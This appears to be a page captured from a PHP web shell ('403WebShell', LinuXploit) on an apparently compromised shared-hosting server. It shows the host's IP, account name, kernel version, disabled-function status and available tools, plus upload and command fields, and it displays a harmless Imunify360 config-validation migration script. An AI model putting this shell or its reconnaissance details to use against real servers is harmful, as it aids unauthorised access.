Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.141.21.106
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/migrations/108_validate_config.py
import logging
import os

from defence360agent.contracts.config import (
    ConfigsValidator,
    ConfigsValidatorError,
    LocalConfig,
)

logger = logging.getLogger(__name__)


# NOTE:
# "MOD_SEC_BLOCK_BY_CUSTOM_RULE" keys are validated even if they are strings.
# This migration is probably not needed anymore anyway.


def migrate(migrator, database, fake=False, **kwargs):
    if fake:
        return

    # adding brute-force rule to existing config
    # this is needed until DEFA-689 is done
    try:
        try:
            ConfigsValidator.validate_system_config()
        except ConfigsValidatorError:
            local_config = LocalConfig()
            backup_config = local_config.path + ".invalid"
            os.rename(local_config.path, backup_config)
            default_config = local_config.config_to_dict()
            local_config.dict_to_config(default_config)
            logger.warning(
                "Invalid config replaced with default one."
                " Old config save in %s",
                backup_config,
            )
    except Exception:
        logger.exception("Failed to replace invalid config with default one")


def rollback(migrator, database, fake=False, **kwargs):
    pass

Youez - 2016 - github.com/yon3zu
LinuXploit